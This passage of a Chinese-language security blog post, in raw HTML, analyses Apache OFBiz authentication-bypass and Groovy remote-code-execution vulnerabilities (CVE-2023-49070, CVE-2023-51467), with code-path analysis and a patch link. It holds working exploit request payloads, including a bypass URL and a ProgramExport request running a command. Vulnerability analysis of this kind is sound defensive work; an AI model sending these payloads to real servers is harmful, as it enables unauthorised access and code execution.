0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">响版本：</span></strong><span style="font-size: 18px;"></span></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">Apache OfBiz &lt; 18.12.10</span></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><strong style="color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;text-align: left;">2-2. 漏洞复现</strong></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">环境搭建操作与CVE-2020-9496一样，这里用18.12.09复现。</span></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">用CVE-2020-9496的poc进行测试，可以看到调用了CacheFilter进行路径和</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">&lt;/serializable</span><span style="font-size: 18px;">标签的检查，检查失败出现报错。</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="250" data-backw="578" data-galleryid="" data-imgfileid="100004755" data-ratio="0.4324074074074074" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=84ed922d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhPLIl8hTPoDODYHFeKUMQokk1rJkOBIGc6iav7obYREQdwn1jPQDiaRcQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">在url中略作修改，即可绕过路径检查和授权检查，成功执行命令。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js"><code><span class="code-snippet_outer">/webtools/control/xmlrpc/;/?USERNAME=ofbiz&amp;PASSWORD=blckder02&amp;requirePasswordChange=Y<span style="font-size: 18px;color: rgba(0, 0, 0, 0.9);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;"></span></span></code></pre></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="357" data-backw="578" data-galleryid="" data-imgfileid="100004756" data-ratio="0.6175925925925926" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=37b0a31a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDh8k7rlzBjlIcL47nd6fHqiafW4icic5Hj40ZbjpDVIibBB8BtPwtjdichkibA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">说一下url的构造，这个请求结构如下：</span></p><ul class="list-paddingleft-1" style="list-style-type: disc;"><li><section style="text-align: left;line-height: 1.6em;margin-bottom: 8px;"><span style="font-size: 18px;">路径信息：</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/webtools/control/xmlrpc/</span><span style="font-size: 18px;"></span></section></li><li><section style="text-align: left;line-height: 1.6em;margin-bottom: 8px;"><span style="font-size: 18px;">矩阵参数：</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">;/</span></section></li><li><section style="text-align: left;line-height: 1.6em;margin-bottom: 8px;"><span style="font-size: 18px;">查询参数：</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">?USERNAME=ofbiz&amp;PASSWORD=blckder02&amp;requirePasswordChange=Y</span></section></li></ul><section style="text-align: left;line-height: 1.6em;margin-bottom: 8px;"><span style="font-size: 18px;">矩阵参数（Matrix Parameters）是一种在URL中传递参数的方式，其特点是使用分号</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">;</span><span style="font-size: 18px;">将参数附加在路径中。</span></section><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">这里就是附加了一个参数</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/</span><span style="font-size: 18px;">，或许将参数换成</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">;1</span><span style="font-size: 18px;">要好理解一点，效果一样的。</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="147" data-backw="565" data-galleryid="" data-imgfileid="100004757" data-ratio="0.26017699115044246" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="565" src="https://wechat2rss.xlab.app/img-proxy/?k=deda74db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhnfks0ytlGEPJzlmrlHIScEOj5wdFXhGHQib8H3z4wM9jicvl7YQOpDgA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">与查询参数不同的是，使用</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">getRequestURI()</span><span style="font-size: 18px;">的返回结果会包含矩阵参数，所以能绕过路径检测。但是</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">getPathInfo()</span><span style="font-size: 18px;">仍然只返回</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/xmlrpc/</span><span style="font-size: 18px;">，不影响后面xmlrpc处理器的调用。</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="102" data-backw="578" data-galleryid="" data-imgfileid="100004758" data-ratio="0.17685185185185184" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a03ebec7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhfmEw1arYicQtYrKicYHsWaVMVl9vvEwSad0pA1IXRkDuDTeldtxdgEyA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">查询参数的内容则是绕过授权检查的必要条件。</span></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><strong style="color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;text-align: left;">2-3. 漏洞分析</strong></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">在发送请求的时候会进入</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">CacheFilter.doFilter()</span><span style="font-size: 18px;">，因为在uri的末尾添加了</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">/;/</span><span style="font-size: 18px;">，所以不会进入if语句，也就不会对</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">&lt;/serializable</span><span style="font-size: 18px;">进行校验；</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="316" data-backw="578" data-galleryid="" data-imgfileid="100004759" data-ratio="0.5472222222222223" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=860bd966&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhSEPND7KVIibYf827vP044xkODEtyPQOhFGNiaXAiaEg1bQlVh7YM9eK9w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">然后进入ControlServlet处理请求，在</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">RequestHandler.doRequest()</span><span style="font-size: 18px;">中，</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">securityAuth</span><span style="font-size: 18px;">就是指Controller.xml中的security标签的值，为true则进入if分支；</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="364" data-backw="578" data-galleryid="" data-imgfileid="100004761" data-ratio="0.6305555555555555" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f3651c55&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDh9tqU6b7plme1q4WnegDiaK3QTaN6c6RLY7Yv50dQHu4Dl1RDhWS2VBQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">跟进，调用JavaEventHandler处理该事件；</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="175" data-backw="578" data-galleryid="" data-imgfileid="100004762" data-ratio="0.30277777777777776" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6d118687&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhOmicNOkurKxfyvgrLicfHo1168lPVBiaN2M7lzNLyZ2zqTC7zFDGMuoEg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">进入</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">LoginWorker.checkLogin()</span><span style="font-size: 18px;">，如果检测到是未登录状态，则直接从请求中获取</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">USERNAME</span><span style="font-size: 18px;">和</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">PASSWORD</span><span style="font-size: 18px;">参数的值，如果值为null，则会进入343行的if语句，返回error，表示校验失败；</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="526" data-backw="578" data-galleryid="" data-imgfileid="100004763" data-ratio="0.9101516919486581" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="857" src="https://wechat2rss.xlab.app/img-proxy/?k=58a0739c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhUUxGm7icLVNJiaIiaibw5TOcibiayOoiaNd1m0omDlWIg7jhdIKwLCnOMLhSQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">参数值不为null，还需要使</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">login(request, response)</span><span style="font-size: 18px;">不返回error。</span></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">进入</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">login()</span><span style="font-size: 18px;">，从请求中获取了</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">requirePasswordChange</span><span style="font-size: 18px;">参数的值，执行登录操作时由于传入的用户名是随便构造的，所以返回“没有找到用户”，登录失败，进入else分支；</span></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">最后根据</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">requirePasswordChange</span><span style="font-size: 18px;">的值判断是返回参数值还是error，所以只要传入</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">requirePasswordChange</span><span style="font-size: 18px;">为true，这里就可以返回true了。</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="399" data-backw="578" data-galleryid="" data-imgfileid="100004764" data-ratio="0.6898148148148148" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9fde6848&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhTpSFcj8DayiaLx8zh3XsxEPicHiaRtKWDOx7mH5OPS31ChwOnvUTLFPSQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">回到</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">checkLogin()</span><span style="font-size: 18px;">，uri中不包含</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">loginout</span><span style="font-size: 18px;">，</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">security.login.authorised.during.impersonate</span><span style="font-size: 18px;">默认为false，登录历史也为null，所以跳过if语句，最后返回success，成功绕过登录检测。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="233" data-backw="578" data-galleryid="" data-imgfileid="100004765" data-ratio="0.4027777777777778" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4e165961&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhIJrtXAFZVZNtXtIUQmj07C3hWZBBFy9wibEPjcpOTGgjicjMia9B0mjsQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">后面的反序列化调用过程就与CVE-2020-9496一样了。</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="332" data-backw="578" data-galleryid="" data-imgfileid="100004766" data-ratio="0.5753554502369668" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1055" src="https://wechat2rss.xlab.app/img-proxy/?k=9ab7b9a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDh82LqKnY7tqVHkdckJ3ub4ttaz5nGvd3460Qv5XtxcfNFGIvPWAJQ1A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><strong style="color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;text-align: left;">2-4. 补丁分析</strong></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">补丁链接：<a href="https://github.com/apache/ofbiz-framework/commit/c59336f604f503df5b2f7c424fd5e392d5923a27" target="_blank">https://github.com/apache/ofbiz-framework/commit/c59336f604f503df5b2f7c424fd5e392d5923a27</a></span></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">在补丁中删除了XML-RPC的相关引用。</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="161" data-backw="578" data-galleryid="" data-imgfileid="100004767" data-ratio="0.2792452830188679" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1060" src="https://wechat2rss.xlab.app/img-proxy/?k=f809666d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhibibANYx1sdpC42w5s9cTUwxZCgrmxAyEz4zibnhvDFrpckmU1f4yoUtw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><section style="text-align: left;margin-bottom: 24px;line-height: 3em;"><span style="color: rgb(6, 153, 7);font-family: &#34;Helvetica Neue&#34;;font-size: 29.3333px;font-weight: 700;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);text-decoration: underline;">3. groovy命令执行（CVE-2023-51467）</span></section><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><strong style="color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;text-align: left;">3-1. 前言</strong></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">官方公告</span></strong><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">：</span></strong><span style="font-size: 18px;"></span></p><section style="text-align: left;line-height: 1.6em;margin-bottom: 8px;"><span style="font-size: 18px;"><a href="https://lists.apache.org/thread/9tmf9qyyhgh6m052rhz7lg9vxn390b" target="_blank">https://lists.apache.org/thread/9tmf9qyyhgh6m052rhz7lg9vxn390b</a></span></section><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;"><a href="https://issues.apache.org/jira/browse/OFBIZ-12873" target="_blank">https://issues.apache.org/jira/browse/OFBIZ-12873</a></span></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">漏洞描述：</span></strong><span style="font-size: 18px;"></span></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">仍然是基于对CVE-2020-9496修复的不完全，导致可以绕过路径检查和授权检查。以及对传入数据的校验不完善，导致可以通过groovy实现命令执行。</span></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">影响版本：</span></strong><span style="font-size: 18px;"></span></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">Apache OfBiz &lt; 18.12.11</span></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><strong style="color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;text-align: left;">3-2. 漏洞复现</strong></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">添加</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">groovyProgram</span><span style="font-size: 18px;">参数传入要执行的命令，payload：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">/webtools/control/ProgramExport?USERNAME=ofbiz&amp;PASSWORD=blckder02&amp;requirePasswordChange=Y&amp;groovyProgram=<span class="code-snippet__string">&#39;calc.exe&#39;</span>.execute()</span></code></pre></section><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="311" data-backw="578" data-galleryid="" data-imgfileid="100004768" data-ratio="0.5391211146838156" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="933" src="https://wechat2rss.xlab.app/img-proxy/?k=eaf97d3a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhhWl4tHVrBVZ6FPuGcfuMyc2wHtFWC3ibWAyF9ibaicYNMkn5lea9ic0R8w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><strong style="color: rgb(85, 168, 113);font-family: &#34;Helvetica Neue&#34;;font-size: 26px;letter-spacing: 0.578px;text-align: left;">3-3. 漏洞复现</strong></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">授权检查绕过的过程与CVE-2023-49070的一致，这里就不重复了。</span></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">从绕过授权后开始看，在</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">RequestHandler.doRequest()</span><span style="font-size: 18px;">中，</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">requestUri</span><span style="font-size: 18px;">为</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">ProgramExport</span><span style="font-size: 18px;">，获取到对应的requestMap，又从中获取到</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">success</span><span style="font-size: 18px;">对应的响应，赋给了</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">nextRequestResponse</span><span style="font-size: 18px;">；</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="293" data-backw="578" data-galleryid="" data-imgfileid="100004769" data-ratio="0.5074074074074074" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=c8570f1e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhjVXP2B9w29BEQiaqHRx3sH0V5MiaiaJ2t1KwDp2jKkMykUjRib5bhxC9icA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">在controller.xml中定义了响应类型为</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">view</span><span style="font-size: 18px;">，名称为</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">ProgramExport</span><span style="font-size: 18px;">，然后调用</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">renderView()</span><span style="font-size: 18px;">进行视图渲染。</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="215" data-backw="578" data-galleryid="" data-imgfileid="100004770" data-ratio="0.3712962962962963" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=8144574f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhvwZDpZcIHSHtqIYX3CndQ3zaUgUnRLnXEiatUrHaypUO7epdUJZwvAg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">跟进</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">renderView()</span><span style="font-size: 18px;">，从controller.xml中获取名称为</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">ProgramExport</span><span style="font-size: 18px;">的视图映射，定义在 </span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">component://webtools/widget/EntityScreens.xml#ProgramExport</span><span style="font-size: 18px;">文件中；</span><span style="font-size: 18px;letter-spacing: 0.034em;"></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="232" data-backw="578" data-galleryid="" data-imgfileid="100004771" data-ratio="0.40185185185185185" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=dd299a0d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhbELbEYR8u6F2TBBSkU77asqxDk1XYGZPOfsfeS55VlDTHUeAibDYXLA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">获取到</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">screen</span><span style="font-size: 18px;">类型的视图处理器；</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="310" data-backw="578" data-galleryid="" data-imgfileid="100004772" data-ratio="0.5361111111111111" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=1849ce12&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57NWaK7ef4ib62Q5TAiaHPIwDhCGuL2qpNDLyopF9k4lcjVn49wSR2cicqwo7QXqQgBSNT6iaLLxBHAiaVg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;line-height: 1.6em;margin-bottom: 24px;"><span style="font-size: 18px;">一直跟进，从</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(232, 236, 233);">EntityScreens.xml</span><span style="font-size: 18px;">中获取到了</span><span style="color: rgb(11, 66, 188);font-family: &#34;Helvetica Neue&#34;;font-size: 18px;letter-spacing: 0.544px;background-color: 